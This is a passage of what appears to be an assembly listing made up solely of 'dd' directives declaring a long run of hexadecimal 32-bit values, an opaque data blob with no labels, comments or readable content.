		dd 91E57010h, 97E25756h, 0AA005F72h, 24138ED2h,	155DA7BCh
		dd 0E48A9496h, 83D95307h, 64FAE072h, 8200E2D1h,	4BD06B2h
		dd 34F59F8h, 0A1E4A573h, 0ECF0CFA6h, 0A3506DFFh, 5E00AB64h
		dd 35BB22DEh, 413BF7h, 52645E8h, 69B7FDB6h, 6110421Dh
		dd 0D1800800h, 4C827CAh, 0C5D75476h, 81148030h,	47030575h
		dd 21CFD361h, 0C440959Ch, 2D3D2C12h, 6D2E01ECh,	891AFA78h
		dd 0AFC4F4A2h, 0D537D000h, 0F8E50620h, 0E82600CFh, 43D3A1C3h
		dd 73019409h, 0B66F5A69h, 65C0E391h, 684200E5h,	25B9E952h
		dd 0CB0057F6h, 1E669CDh, 0B889AB38h, 0B32F00D5h, 0E84B9AC3h
		dd 265058F4h, 600006F8h, 0DC5B61A9h, 1E46AF9h, 0B8B3B111h
		dd 0D862CC09h, 0B5045149h, 604319E7h, 7868480h,	5AA21306h
		dd 0E41B0FF3h, 508152E0h, 0D72876F1h, 66009C0Ah, 2032B8F2h
		dd 269712EDh, 9294F7A9h
		dd 4DB40050h, 2FE28E2Eh, 378CB550h, 2ABEC203h, 0D858FD26h
		dd 5709DCh, 46E59BBFh, 0A992E153h, 4401E8B0h, 0B2C2D9AEh
		dd 20E869DCh, 0D5E60075h, 0B194CC9h, 0E3B0453Dh, 4C13400h
		dd 937D35E2h, 5C6C0276h, 0D812BF97h, 0ABB2FC60h, 92004DE8h
		dd 19C2D23Eh, 0DCDBA5h,	715EA7B8h, 0B196139Ch, 0CCB9DA00h
		dd 8DF0FF1Dh, 7B3A064Fh, 0E80CC534h, 5F70C402h,	40BFF415h
		dd 98BD504Ch, 85E50048h, 379FFB56h, 0B62CB884h,	3BEDD8h
		dd 0F70C265h, 0E88D6FAh, 7B81457Fh, 0FD25B540h,	2700E19Ah
		dd 39D3C19Dh, 38965Eh, 858D6718h, 5536EE44h, 2A3D3A00h
		dd 6CF0269Ah, 0C4B20042h, 0BA5C8DEh, 2D01C07Ch,	0DB9CBFBh
		dd 31FDA4E0h, 42061080h, 561D1F25h, 3B9AC800h, 0AF094A9Eh
		dd 0DBB0F3Dh, 801E9F68h, 0AC425D54h, 83EBF5Fh, 76DE0BE1h
		dd 8A64854Dh, 0F052805Fh, 2038B30Eh, 3234A120h,	0B05B5EE5h
		dd 7400BAA8h, 23F7059Fh, 30A536Fh, 9D72A570h, 94A1C2ADh
		dd 0E85D71FCh, 0BC002EE6h, 0AA991CA0h, 27A2005h, 8E71A91Eh
		dd 386919FAh, 0E53FDC44h, 1FFCBF90h, 2C148600h,	0A63204BFh
		dd 0BBFADEh, 4087954Ah,	423E1617h, 0E6216B1Ch, 2454400h
		dd 0F6DB08A3h, 0C75E63h, 954D01F5h, 0F3F213AFh,	5008E7Ah
		dd 3907ED4Ch, 711788h, 2B10B5CBh, 0B85A5124h, 582F1900h
		dd 0C278B9B1h, 0E1A107B3h, 30FBE6EAh, 0B56BD497h, 0CEFA8AFCh
		dd 46002CBAh, 474B4C64h, 1136640h, 0B205C8Dh, 0D4D2D50Dh
		dd 0F800B5BBh, 1FB0CA7Dh, 0F67AD62Fh, 0F4880027h, 0D4D71D34h
		dd 0B003855h, 3A17D828h, 74ECF5h, 0DE88BF72h, 961C2BEFh
		dd 42E4775h, 0E42C592Dh, 0FE84890Eh, 410ECA00h,	595BAFC0h
		dd 0B10094BEh, 0BD92D71Ch, 460057FBh, 0DF6B3E79h, 42FDA7h
		dd 0E0E352EBh, 1B3B752Eh, 0D8961451h, 0AC006773h, 0A02F4E05h
		dd 8024E2h, 941182B3h, 0F44A2303h, 0FF46A100h, 0ABCC1EF3h
		dd 713E00AFh, 92A3532h,	60C05D24h, 0EB69555Eh, 0EE591D5Ah
		dd 9100F9C5h, 75A7C66Ah, 0EC7ED943h, 2DF4D37Dh,	0F2A56300h
		dd 0BA3C33C2h, 4C8B0098h, 9DC85470h, 1C000272h,	7B5B743Bh
		dd 91B5112h, 0A2710A6Eh, 0B21ECE0h, 97E8F350h, 0E4165C00h
		dd 3581577Dh, 8EED007Ch, 82ACC910h, 0E90921A6h,	800C4195h
		dd 0FCB0B24Ch, 295900FFh, 937C2284h, 6700ACC1h,	0DA1BE413h
		dd 5B82860h, 8D69AB82h,	6E5C8059h, 0C1D2429h, 96392722h
		dd 790744A0h, 67304D14h, 96DC5Ah, 0D86332FCh, 0F8BDEE5Fh
		dd 11A6AD00h, 8A1DFAEBh, 61CB00F5h, 0B18E0758h,	6E073C38h
		dd 13F20C74h, 1200CDFAh, 0AAC4A476h, 7A8507A2h,	871CC1h
		dd 52586AB9h, 0FFB85E13h, 473BB440h, 0DE9353h, 6E31F2F9h
		dd 0CA5945BDh, 5EFBE000h, 6238837Ch, 0AB50518h,	0A43E74DBh
		dd 8C007A34h, 7B1921BCh, 73D2ACBEh, 7DA30027h, 9154B759h
		dd 0E700A538h, 1D42399Ah, 90224FC7h, 7C1C00E8h,	308876D2h
		dd 9800EDD4h, 0FCE0B139h, 94072CA2h, 15690690h,	6A79A9FAh
		dd 0DAFEC600h, 4BAACA94h, 7DA09002h, 99EE00E8h,	0DD2E8A1Ch
		dd 8000E12Ch, 3B63EA0Fh, 4C191Dh, 22FDEB56h, 0AF1E77Eh
		dd 3F1FE806h, 696D83h, 0D1CB7748h, 9091F4CDh, 0E8BEDE00h
		dd 0D54656B2h, 70DF8B1h, 72F262E2h, 3203A05Ah, 80002DDBh
		dd 35144A60h, 74339127h, 36840018h, 0A1831720h,	79124C2Dh
		dd 4CACDF3h, 0B1E86E30h, 16076B8Eh, 723E5880h, 55626A90h
		dd 0AE5F1CCAh, 3FED40C5h, 929524E0h, 21E8E400h,	0DFD74430h
		dd 0C45F0BA6h, 1383DD59h, 74F8785Ah, 5B0033F1h,	68346F8Fh
		dd 7AD01E4h, 5F21D30Dh,	0AF6510B7h, 9AF0A1C8h, 2A23E00h
		dd 75CB96F0h, 0D9410913h, 0CD608055h, 3E00B7C5h, 0B83A63D3h
		dd 0C4862Ch, 0A6274B4h,	77AC9B2Ah, 0F00728E6h, 0CDD99CD6h
		dd 7C839420h, 0B45A00D3h, 1EC8259Fh, 69007EE5h,	0AFFC121Ch
		dd 602349h, 2F6C941Ah, 0CD5A791Fh, 2D40B700h, 0C586B175h
		dd 0BA290069h, 0D3359DFEh, 0BB03741Fh, 436AEC78h, 0FC02E5A3h
		dd 60F2B673h, 7EB9A0h, 30CE7699h, 599C319Ah, 0D0164E4h
		dd 8F877009h, 3ED053EAh, 0DFA9027Bh, 11ADFBD1h,	5070F0C0h
		dd 21B01D4Fh, 0DBCCA042h, 9A73502Eh, 8811C022h,	24803F4Fh
		dd 0D0631803h, 0A18CAC1Dh, 2087F501h, 0F03C32E1h, 84B20D13h
		dd 5C2CCC00h, 98D34FB4h, 6B3400FCh, 2481A89Bh, 62121779h
		dd 24C00B7Eh, 90618F05h, 3411007Fh, 6B1B736Dh, 9F4C6E0Eh
		dd 16B600C4h, 551FFB83h, 341400B0h, 238BD180h, 570F6E56h
		dd 37A73Dh, 0FB27F2CDh,	0FC171577h, 290430EAh, 0C4399E83h
		dd 85304869h, 82075C9Fh, 0BAA08E1Dh, 6D0B11h, 69AFF346h
		dd 44ADEDA6h, 30B97D60h, 788ADD8Bh, 5F76007Eh, 9E62DCABh
		dd 8C006F97h, 0AEB2B03Dh, 2E1DC3h, 472F1639h, 890C0291h
		dd 74867500h, 4B92E948h, 0F87000B6h, 0CEA81760h, 0E0979879h
		dd 73CEA83h, 5B5168BCh,	0E97530C2h, 0E41C53FDh,	0E3403FD9h
		dd 9E843AFCh, 93BE0126h, 70FD521Fh, 0E40BC09Ch,	8D005DF6h
		dd 1237421Ah, 398E3ED0h, 47995CC4h, 4849105Bh, 91004B04h
		dd 0F3A37DC9h, 55DA1Ch,	7F267539h, 0F7324443h, 9D00AE7Bh
		dd 134B4580h, 0FA57791h, 0ACE26E58h, 88BE2300h,	59FCD498h
		dd 0EEF65B00h, 32CDEDE3h, 64FA1FB5h, 0F80680E2h, 2C3E3098h
		dd 2D3A0E72h, 44FB8045h, 75498FACh, 96D300A1h, 135AEDDBh
		dd 3F0F7C1Eh, 0C0FAFCB6h, 4D4B438Fh, 0C7FD00A1h, 97802F2Ah
		dd 0DE75948Dh, 0D4E5C300h, 6A938C1h, 1A8002Bh, 0F22F15D5h
		dd 0CC3AE057h, 0FC84807Ch, 559B3266h, 61050253h, 8E62A73Bh
		dd 68F824C3h, 0DE1D19FDh, 0F813BDh, 0C943C110h,	27A90h
		dd 0D2C3CF18h, 0A05A76E3h, 2B50AD00h, 37DF6FFFh, 0EA9709FAh
		dd 8509272Eh, 0D96D800h, 0A800FF8Bh, 51C15D71h,	0CFD120C0h
		dd 3820065Eh, 9A496647h, 2E004A78h, 0C2EC53A9h,	0A0DEF103h
		dd 8819CCh, 79427672h, 7B15FFA7h, 4CEA7403h, 0A0943E7Fh
		dd 261F0765h, 5F0434h, 825091D5h, 7009E5E4h, 2ADCDA85h
		dd 86009A00h, 0D57FB23Dh, 0E93416C1h, 11FC37h, 950751D0h
		dd 0EFBBDBh, 23C270BFh,	9F3FCD13h, 0FAFE1500h, 0BE1C0879h
		dd 245F1DB6h, 95B40031h, 98A5293Eh, 0F801C100h,	0AE0A34F9h
		dd 26B0FAC6h, 0AF3942h,	8FAFE159h, 0A478EE82h, 0F25D661Eh
		dd 34954A81h, 0B0504C56h, 53A074h, 0BA0DF80Ch, 0BD4B3BFCh
		dd 1F91221Dh, 0D9626F00h, 863D11h, 0F5F25A7Eh, 0B195A796h
		dd 70FF7300h, 3BC5FBD2h, 0B7201E5Eh, 40DE5E7Dh,	90B6D63Ah
		dd 0A8E06159h, 96F61A1Fh, 0B0669EC4h, 84E10DC0h, 94955423h
		dd 3B9371B7h, 440E827Bh, 0BA40C2D6h, 81B5E0FAh,	80406F39h
		dd 6D128661h, 3143E8h, 5B26A3C0h, 4D251EF8h, 6C496E1Eh
		dd 51D7F101h, 0F0FC47B2h, 1CD1F681h, 0FB5CA7A8h, 1BA9A80h
		dd 1EFC54C8h, 80575F3Ah, 9817D1B1h, 1764BFC3h, 731B296h
		dd 0E0FCCEE0h, 5E8E10ADh, 87153E05h, 0DA06D25Ah, 768EA58h
		dd 7441E880h, 32D8708Bh, 0CE4906ADh, 21DE00F0h,	0F8835C1Eh
		dd 0E6A60062h, 0B0A88F7Ah, 2001945h, 956C4211h,	0D77CE3h
		dd 0C80803BBh, 58CEB623h, 0AC00CCE2h, 61065B0Dh, 2781F14h
		dd 0C05732ABh, 5C0208Fh, 6E00C351h, 10BB625Ch, 9448DCBh
		dd 362ED657h, 76BF4C00h, 0AD008F37h, 781507C7h,	24AB9F47h
		dd 1F7448A3h, 21B8401Bh
		dd 0EAF57F67h, 17252D00h, 32B7F69Ah, 3A4F447h, 0D7288C78h
		dd 0D8006830h, 6A3BDA5Fh, 796F2h, 793C1432h, 0D55072D2h
		dd 80D6B03Bh, 0A8A9DC64h, 0F7B70847h, 4373E4h, 30FBA52Fh
		dd 0C7BD3C2Ah, 9D5BB500h, 5952E6D3h, 6E9C00BAh,	0AE3870D1h
		dd 471A456h, 0D78D449h,	30DAEA9Dh, 7F2D0h, 0F5EE3065h
		dd 44E290BEh, 0EBEDF900h, 120021Ah, 4600045h, 77FD7205h
		dd 0D0006DF4h, 5A2ED54Ah, 0FEDCE4h, 1E337670h, 5BD18CC5h
		dd 36479301h, 266B350Eh, 0E77CEFCh, 199D5EE2h, 0D9182120h
		dd 0EC928F3Ah, 33E33500h, 0C1CC3843h, 0B555009Dh, 192874E0h
		dd 161360FFh, 0FE000535h, 224F8956h, 0FB181D71h, 0C3074376h
		dd 0F19085FAh, 32007CC6h, 0C1DD7488h, 3D2D66A9h, 85000D05h
		dd 0D0133BBCh, 0A2763A6Ch, 0F082819Dh, 8AF0AE23h, 9AEC2824h
		dd 0DC2F00E4h, 0CDC065DFh, 663E1FB5h, 126DD868h, 14002B58h
		dd 5BAB06D1h, 574800B1h, 8482DCF9h, 7B58E849h, 26EE099Ah
		dd 0C5C4006Eh, 48A4615Ch, 0E6002045h, 8663BE79h, 1D1ACA8Eh
		dd 42180CE7h, 88E30A10h, 0DB96800h, 5955C4h, 373F5356h
		dd 9AA1E298h, 6CA08B00h, 0D0EF491Dh, 71820732h,	607E35E7h
		dd 0D2E9C2D4h, 1C00ACE2h, 0EECC379Dh, 8E4F4Dh, 0BACF4915h
		dd 546B4253h, 0F527FB3Eh, 0CE80F500h, 0A70A180Bh, 1777CE6h
		dd 0E82C9843h, 0E8335556h, 20062FCh, 0B20F8928h, 360452h
		dd 0C706307Eh, 0F7770109h, 8E769D02h, 0E019C0BEh, 5C28DBh
		dd 7DC4C59Eh, 0DCEB1CB7h, 0BD42DB0Eh, 0CA8E015h, 3C2B7B48h
		dd 0EC8045A6h, 3605AA2Fh, 61035DE4h, 0B15F571Dh, 8150FFD0h
		dd 0DBE76h, 77834647h, 4F80D350h, 0F0230300h, 0D2A12018h
		dd 874404F9h, 9738B596h, 0EFFCA024h, 0E500F3DDh, 0B2AFF75Fh
		dd 0E0314C7Ch, 12740096h, 23EE8454h, 2E0E5B52h,	6022D7D5h
		dd 0FC3FFD90h, 65FE00F5h, 0AC0426E2h, 5F188AA4h, 0E6AE939Ah
		dd 3B81007Bh, 0F8EF38DEh, 0C7001723h, 62562A15h, 3AF75313h
		dd 10C8BBB6h, 54DD7D00h, 9F2AAF29h, 70190600h, 0E0F0748Ch
		dd 0A90800F5h, 3ABBC6BAh, 7900BE5Dh, 12E10947h,	710361h
		dd 8E0B80A4h, 2050691Ch, 8F46000h, 99AEC4BFh, 0FD190052h
		dd 0F8E1AD5Ch, 0BB01CF91h, 7D61A7CCh, 0ECFC0204h, 32AA02B1h
		dd 2D87841Dh, 0E0FF10C8h, 851E4A00h, 0DF561F3h,	0EA7970h
		dd 7D9E9881h, 0BAD241B3h, 0FF0231F2h, 0AEEFCE35h, 0C07CC8ABh
		dd 0BC5000BEh, 987132A1h, 0A53DDFC5h, 80768972h, 9288817Ch
		dd 8C34A02Fh, 27060C91h, 0CF08E6B9h, 0F50EB0Ah,	0B5001017h
		dd 3F55BE3Ch, 9FA607FDh, 0ABEAE858h, 8B5B2B87h,	690E688Fh
		dd 42244FE3h, 0ACDB200Bh, 63DB809Dh, 689BC3Ah, 96AB5F6h
		dd 0AF0020E4h, 0EED46BB6h, 0FA74AEC9h, 24F85C76h, 541BA282h
		dd 46C1F848h, 0D9A6FE00h, 5703EB88h, 292A6016h,	67F98B7Ah
		dd 9A00C4EEh, 0B2CEDCAh, 0EEE1F33Ah, 47EE6Fh, 5B2D8B83h
		dd 0B517B313h, 0DF8C58h, 1934EA80h, 50B9A7h, 54AE63E3h
		dd 8E02381Ch, 6A87EC16h, 2E9402EAh, 7DC03EA1h, 301843EFh
		dd 0A74526Bh, 966D1EABh, 2EB98064h, 9BC979BAh, 11D5C51Ch
		dd 0FF9B6C0h, 651B37h, 0FA1E8E14h, 2F65A69h, 4F399500h
		dd 0BF4919BAh, 0F54E1FB3h, 1848C3CBh, 26A05531h, 5F001AEAh
		dd 0C430C782h, 4C11BC02h, 0D8046B44h, 0A2D2636Eh, 7B7A0CB0h
		dd 0F0910D3h, 9BBBD548h, 8869D200h, 0D7037FB7h,	0A20DDF37h
		dd 5F72A070h, 92F0026h,	9949D287h, 0F8EF2169h, 3A00DA5Eh
		dd 0A919F3Ch, 5C2C45E0h, 0CA00989Dh, 997F5650h,	430702D5h
		dd 0E51D4F1Bh, 0E0ED5E22h, 1B3A1A3Ch, 11CC7061h, 0ECF0F8B0h
		dd 897DF412h, 0B2740080h, 5C303B5h, 83A12FA8h, 66542E00h
		dd 0DFFA67EFh, 0E1AA00DAh, 0E56DF9C3h, 0D21EA99Ch, 88C05D06h
		dd 7B339950h, 0A6400DA5h, 30C802C9h, 0CBA0C180h, 85787C05h
		dd 65D0B50Fh, 4E071648h, 0A1701E9Dh, 249475h, 0BE1DF1AAh
		dd 803AD2FAh, 3331E600h, 8A3D0692h, 0F1F200D3h,	850BD8CAh
		dd 0AE00B574h, 397CF3E5h, 93A1E3h, 7E29E776h, 0F651ED6Eh
		dd 170067EEh, 8DE5FCD8h, 90DA606Bh, 185C04B0h, 0C012A254h
		dd 3411DECBh, 0FEB5D300h, 0BA89E40Eh, 6046048Ah, 0C86715C1h
		dd 850B71FCh, 8AC7Ah, 9574FA3Ch, 0A7F61F99h, 0DD07496Bh
		dd 36837C20h, 0E900AB23h, 0ACC127BEh, 70806022h, 81F40E2Ch
		dd 0C4237FECh, 0EEFB93CEh, 5985FFF0h, 1D0A2309h, 0C80800D9h
		dd 89DDCh, 2F6EF835h, 0C29E748Dh, 0B91C1800h, 0FE85CD71h
		dd 1CE8941Fh, 291B8060h, 8BA8F4F5h, 72139400h, 2E4458C9h
		dd 0F3200051h, 0F8BA0A1Fh, 21004B19h, 45AECF2h,	921D495Dh
		dd 0F6080000h, 3E43DA1Ah, 3F0021E5h, 4CFCEC50h,	0DFE2EEh
		dd 8ECD9EE3h, 9DB5B0EAh, 0ACE65D03h, 0AB0AF486h, 462F0B8h
		dd 0D79030h, 91073F9Eh,	78FC9C8Ch, 0A45C42B8h, 553A5Ah
		dd 65C6EA2Bh, 9E4B0Eh, 4EA5A2C8h, 0E521C2D1h, 0B29C20FDh
		dd 7702C4A4h, 17A252DCh, 84F4C86Fh, 0A19D4C88h,	0E2953B02h
		dd 0D241246Ah, 1F470F8h, 75077100h, 2D9F9CE4h, 0E8C30381h
		dd 0ED89CC1Bh, 9B5F839h, 0DA09BEh, 0BF74110Ah, 0E7641652h
		dd 0FE550075h, 0D3F3803Ch, 5A279C00h, 611BC210h, 0A5EB25C4h
		dd 6A90CC80h, 1200B526h, 2C11241Ch, 32ED8Dh, 4918AEBAh
		dd 0D885C986h, 0C3508DA0h, 458F3D0Eh, 8E59A0D5h, 985FD39Ch
		dd 0E5700079h, 3D4EF378h, 0F0EC5A0h, 0E096F250h, 0CB6314C9h
		dd 5C2B3BA8h, 0B83C3325h, 0E89C4072h, 0C607C60Ah, 0B2153038h
		dd 668312h, 0FA6EDC55h,	0FC957146h, 64E248h, 0B84FB7EDh
		dd 1823FD13h, 189F5256h, 0C7018432h, 0C025512h,	0B6D0B27Eh
		dd 631011Bh, 1443ECBBh,	0B58641A9h, 0FBDCFC66h,	0E34D6000h
		dd 0CA57C0BFh, 2F3B00C7h, 2C0F0498h, 2D747A6Bh,	0B016CF05h
		dd 7780FD69h, 7306Ah, 8ABF63CAh, 0E57D5C8Fh, 975A501h
		dd 37D94EF7h, 78C3CF70h, 58B7008Ch, 677C734Ah, 0BC00449Bh
		dd 2CC2945h, 0FC85427Fh, 26716Fh, 4E15B9C2h, 49E0ACCDh
		dd 0D9B79A00h, 0BC4125E2h, 0FCECC1h, 46FE6C3Bh,	0B4AEA644h
		dd 0D0B2D716h, 0F7C5E200h, 1FE552h, 0DFB04214h,	0DAC1C32h
		dd 46EB0A8h, 0CA7BB07h,	3B10EB78h, 0E31D03h, 0F0D3CCB1h
		dd 360DD95Ah, 66241B00h, 32620F80h, 48FE28h, 86389EFFh
		dd 0DE6537CBh, 58CD664Ch, 0C3017814h, 6197D1FBh, 0CDD03BB4h
		dd 5A500BFh, 643F9528h,	0B200C0A8h, 0D00CFF66h,	56D387h
		dd 55EE7398h, 963E8F7Dh, 0D42B8B00h, 31A49CC3h,	34745Ch
		dd 72BA59D8h, 0E6233D40h, 0C8A0F930h, 0FCFACFh,	893367Ah
		dd 0D1A67424h, 0A82D4102h, 0C01F267Eh, 2436815h, 27FFEB80h
		dd 20C0DC06h, 0DB0FE5C9h, 8EA52416h, 28079391h,	5E8053DAh
		dd 27CC98h, 38E4188h, 250D5BC5h, 0D015B100h, 847C2316h
		dd 0BCE51313h, 0CD900B8h, 81CCD672h, 45842E4h, 92EE00A4h
		dd 353C0E78h, 0E13D0B0Ch, 0B7805697h, 53150D82h, 0CB2A0300h
		dd 0E369A6D0h, 0C40E023Ch, 4B21F4D6h, 206EF5C0h, 0F239040Eh
		dd 9C172018h, 33220FF6h, 9ADA8C58h, 0C22D35C0h,	0AF94A400h
		dd 0E5CD0D34h, 392801C9h, 0C4E2383Fh, 0ED60CCBCh, 78BF73Bh
		dd 25192671h, 939947B0h, 0E2B70087h, 0DD8222B8h, 7638D879h
		dd 5A8D80ADh, 6FE5D1DBh, 0F3BF1F96h, 79374003h,	0D9F16465h
		dd 0B4E2A800h, 27A6DA3Dh
		dd 0F6CA1FFEh, 904DC0CFh, 23B77A41h, 0C69CE800h, 0FC8FBCA9h
		dd 0E00600DCh, 8805BDEEh, 6600EA82h, 6704232Bh,	89F3A5h
		dd 0BF95994Bh, 0B226AA06h, 6DD40B09h, 98D100F7h, 0C0167Bh
		dd 0FEE23F2Eh, 10ECCAE7h, 13015EFAh, 0D699F2B0h, 0A0F73E03h
		dd 0EE92A4E8h, 32AE0018h, 2E3C7EEFh, 0E5002317h, 0C74DC0ADh
		dd 0E0F4B857h, 0BCAA00ACh, 230E83D8h, 9000729h,	7B3455EBh
		dd 3DFF9FAh, 12204AC9h,	95C0B25Bh, 0AB0DE5Ch, 0FDE4D900h
		dd 9C374922h, 19F0077Fh, 0F014B5E6h, 0FA049DB9h, 4D809CB4h
		dd 0C57F367Ch, 0B1100E7h, 0ACE8D8BFh, 0AF018DB1h, 0FA6D5267h
		dd 4C281B54h, 35F6804Bh, 9F7B8241h, 3F206B1Dh, 0D40600BEh
		dd 248B0B61h, 0BB7B0027h, 9EAD8956h, 7339B946h,	6A2A0355h
		dd 88E2F780h, 4EAABF8h,	0F81EB26h, 93BCA416h, 7D096417h
		dd 4FAA2800h, 0F1E494h,	8859955h, 8A44110Bh, 813A9304h
		dd 0CCC7CCAEh, 0F806387h, 0D519C7h, 0BC75CB68h,	7C7A708Dh
		dd 0EEAD8300h, 98A591EBh, 0A11A1E67h, 0DE0E00D0h, 0BEE86F7Dh
		dd 0C525337Eh, 12148093h, 7CD5BFFDh, 13D4A13h, 205829E4h
		dd 0BED2C890h, 0A0AC29CFh, 0A90D028Fh, 4BC1C09Dh, 0FCCF1510h
		dd 5CF36700h, 1BF6C9F7h, 0F2FA0370h, 0AA278B5Bh, 423AE698h
		dd 6937E4E3h, 5FFC4F07h, 0F4A0E101h, 175ECBh, 1FFFBC2Eh
		dd 68464E39h, 348183Bh,	1622D90h, 548AC086h, 0D9E800B1h
		dd 0F208DEC4h, 0C61E9920h, 98009063h, 0D7836E66h, 594E0357h
		dd 0A5C30F19h, 0A926D1F0h, 0F44C9B00h, 0B43CEE35h, 7C6F00D8h
		dd 0BD96B1E6h, 8E14AF6Bh, 71B0D6B3h, 5E40450Bh,	1F70CA14h
		dd 0AD4B8504h, 3FEC0025h, 24EF3630h, 0CF17A00h,	0CBAA6B6Ch
		dd 1AEE87h, 6647DF42h, 98573A38h, 2C6D8E00h, 910D6530h
		dd 450A00D8h, 3987F31Bh, 411FFF73h, 81F8DD06h, 8E2E48E2h
		dd 1864D79Fh, 2099128Ch, 7026A124h, 50E8C830h, 58EE5Ch
		dd 7D3EA509h, 7038639Ch, 0E9A70076h, 0A10DF64Dh, 1F00869Ah
		dd 503A5460h, 5639ABh, 0F8EE6748h, 0C89FCD43h, 0B603FDB0h
		dd 5C4F7BC7h, 0D07CA38Ah, 1C1899F9h, 80F3E08Ch,	33E95B63h
		dd 0AE7788D6h, 9D143200h, 3D10FA3Fh, 1CB1F01Eh,	7DBC16C5h
		dd 9A01F380h, 61877B89h, 836A3700h, 5D042555h, 0AF1100A0h
		dd 0C7B21E82h, 8900E935h, 91E8097Ch, 0F196570h,	83C0E06Fh
		dd 0E9EF90E0h, 59021B12h, 4F9CA762h, 60AC480Ah,	0A861268Ch
		dd 0C07E1EF4h, 0E3D84D27h, 0B2012F25h, 51D7F093h, 0E6D0686Dh
		dd 993200E5h, 43D1B1A0h, 0E100ADA6h, 6C5B0979h,	0E7142Dh
		dd 6299CFFFh, 0C8899BAFh, 15982E00h, 3E8A4C41h,	94E2B0ADh
		dd 0DC803DE4h, 60394389h, 0F0004725h, 30911064h, 20992EAh
		dd 52AC0A3Ch, 0D8A09553h, 3A2239B2h, 702AF400h,	1A5D85EAh
		dd 7FA7453h, 62AF7C02h,	3F9470F8h, 593EAD26h, 8B3C8EF4h
		dd 0C54947F9h, 0CDFD805Fh, 62FABEA3h, 14378805h, 79E0DCD8h
		dd 0B19D9504h, 64A0A6F1h, 37E8FFh, 8D87F931h, 0C2735B11h
		dd 0A4009A90h, 0CE400F13h, 1FAFFB3h, 5883271Dh,	0D1F5EF07h
		dd 9B77DCE2h, 0EE9C9E00h, 4B96B210h, 0C97000C7h, 36882CC0h
		dd 40056A8h, 2FF9B17Dh,	750430Dh, 0D8D3F2E5h, 0FE2E8128h
		dd 1EB0EB62h, 8107866Fh, 0A6B79261h, 3D9A67D0h,	914C0384h
		dd 437FB4CBh, 3E240AB8h, 74E7200h, 585FE9E2h, 0EDB0757h
		dd 0A042B7CBh, 4155C7C8h, 60125A1Fh, 36100C98h,	0B51A133Dh
		dd 91BB00E2h, 0A6A0861Eh, 0B3716007h, 5110337Dh, 790A95h
		dd 1556CF76h, 1790134Ah, 0BC00F7E2h, 34ED7D74h,	1C27F0D2h
		dd 4F8985BDh, 7CE0E1D8h, 8BF54457h, 0FC867D00h,	769DDC7Eh
		dd 58F0981h, 28A06A2Ch,	95B30831h, 18C1558h, 0A19BE587h
		dd 58E2F123h, 0C8B04Ch,	0AA384966h, 1C5C368Ah, 10079C24h
		dd 3BB2E100h, 4A1724h, 4DFB67A8h, 2AA4ED93h, 13AC7D00h
		dd 477A61B7h, 0BEF3018Ah, 0C43A1159h, 0C0C371ECh, 0A7780FDh
		dd 36DF30C0h, 4F3C3E9h,	325B736Fh, 9FECD078h, 160090DCh
		dd 2BE6A42Ah, 309AD466h, 9E49F8E1h, 2D6734EFh, 0ED72C0B1h
		dd 74A458DCh, 0D1E8006Dh, 0C4FB98F4h, 38E0D20Ch, 230BAD00h
		dd 0D59C3008h, 1AFF013Ah, 0AC75C381h, 0F9A0505Fh, 7000DCD2h
		dd 90C54499h, 24D8E40Ah, 1D1C4081h, 2248001Ah, 1D84E296h
		dd 4BD28003h, 0F803566Fh, 0E08F49h, 9579F6Dh, 4FA78E3Bh
		dd 51B18730h, 2F9D4Ch, 0C83E149Eh, 43F0F13Fh, 68F22000h
		dd 9487C4C9h, 4D643BE0h, 0C1F0516h, 79518195h, 828EA000h
		dd 16E540C8h, 0C4300B8Ah, 7200E8EDh, 0CC326557h, 0C46DCA26h
		dd 272C2000h, 3042E2h, 7E872439h, 480673D8h, 0A82D6904h
		dd 0A0AC7B52h, 4BEA8E00h, 0E5D556F0h, 0BBDE683Dh, 18007999h
		dd 88462EECh, 0EF1FB61h, 0B036A8DFh, 83262AE0h,	7E0C398Fh
		dd 0F06206CFh, 0EFF1038Ch, 0F0F2C460h, 2B30C5D8h, 87FBA70Eh
		dd 663A6016h, 8FAB2Ch, 9FFDDCF2h, 270969C0h, 0A52F5E00h
		dd 0F0BBAFFCh, 461A00ACh, 913AF502h, 7E3A37F1h,	78D400FEh
		dd 0E8B747D0h, 351F0404h, 0C0848109h, 0EDACC570h, 2BE06D7Ch
		dd 7B9A9000h, 1FFD4B66h, 65840049h, 34E09D80h, 0FB00ABCFh
		dd 4FDB306Fh, 14A88Fh, 7EED4560h, 24C9AE1Ch, 8016713Dh
		dd 2C4FF93Bh, 6B9FFEh, 0FA7A56ADh, 8B81019Eh, 9784CF01h
		dd 29683443h, 475D0h, 0A1A22E0h, 0F4C03B1Bh, 0EFF23900h
		dd 0B993E305h, 61950AEBh, 0AAB07F04h, 918401E0h, 1990CB5Ch
		dd 0E0C0F24Ah, 39DCEEB3h, 0C02AF7C9h, 3F2A294h,	0F9256F7Eh
		dd 0BA093C4h, 9B22F5B2h, 6BBB05D7h, 0D1B7DF84h,	40F78A24h
		dd 0E7602C24h, 31F17400h, 45A5793Dh, 51ED006Dh,	7DA094F0h
		dd 3A00F8A4h, 401C5A78h, 0A4C989CCh, 94BAF02Ch,	1C0242Ch
		dd 6C291DABh, 78C84056h, 0B4008344h, 0A896198Bh, 0D2C2D3h
		dd 0D96EED0Bh, 6E09791h, 5EB69501h, 0ACC48D47h,	0F658BCCh
		dd 0C5BED1F3h, 19E00E8Fh, 49334B2Dh, 7D694A0Fh,	3073A00Ah
		dd 0D325AEh, 0A877DEE6h, 0AC0E39DAh, 5C0181FAh,	0F2E3FE9Ah
		dd 0D54097E8h, 1EAADA52h, 7D88F3h, 0D5AED154h, 701252Ch
		dd 0BD3C94B0h, 2028D7ABh, 870AB109h, 1B80E400h,	0F50B776Ch
		dd 749C0EEh, 0F330B831h, 5971CEh, 0DD5CFFC8h, 16EC833Fh
		dd 408BCA00h, 24DF4D78h, 0BAF1009Ch, 6050453Bh,	980BC390h
		dd 0E0B4D530h, 0E60F2DF0h, 0AFEB0015h, 0DEB0CC28h, 0BE00131Fh
		dd 426BCE02h, 622F1h, 0EFA30B11h, 0EEA02866h, 97D6C30Bh
		dd 0D2CC836Dh, 0B031E805h, 19A60136h, 0FF9A2177h, 0E1464C9h
		dd 34D61700h, 8C2DEAF3h, 931900F2h, 40868E60h, 7EB849C7h
		dd 0B6B973Ch, 20BCC05h,	30FC7108h, 9054788h, 0FF8A9BB7h
		dd 0E5B4B0h, 2EFDBC8Ch,	722DFEFCh, 7FC8C31Ch, 0A8E817C1h
		dd 0F0823A4Dh, 0F21D9162h, 30F868E1h, 7000AD18h, 0A789EC8Ch
